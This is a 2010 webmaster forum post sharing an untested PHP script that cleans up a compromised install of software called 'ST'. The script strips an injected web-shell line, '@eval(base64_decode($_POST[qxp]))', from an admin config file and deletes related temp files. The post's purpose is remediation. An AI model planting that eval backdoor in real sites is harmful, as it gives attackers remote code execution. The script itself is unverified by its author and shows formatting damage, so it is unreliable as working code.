View Single Post
Old 05-08-2010, 08:20 AM  
k0nr4d
Confirmed User
 
k0nr4d's Avatar
 
Industry Role:
Join Date: Aug 2006
Location: Poland
Posts: 9,231
untested (might not work at all. i dont have ST, and i just wrote it based on the instructions in the blog post). I take no responsibility if it breaks something, use at your own risk.

PHP Code:
<?php
$dbserver 
'';
$dbuser ''
$dbpass ''
$dbname ''
$dblink mysql_connect($dbserver,$dbuser,$dbpass);
mysql_select_db($dbname,$dblink);

copy("st/admin/variables.php","tmp/variables.bak"); 
$string file_get_contents("st/admin/variables.php");
$string str_replace("@eval(base64_decode($_POST[qxp]));//’;","",$string); 
file_put_contents("st/admin/variables.php",$string);
unlink("/tmp/sesa.tmp");
unlink("/tmp/webcam.tmp");
include(
'st/admin/variables.php'); 
mysql_query("UPDATE st_settings SET niche = '$niche'");
exit(
"Done"); 
?>

Last edited by k0nr4d; 05-08-2010 at 08:23 AM..
k0nr4d is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote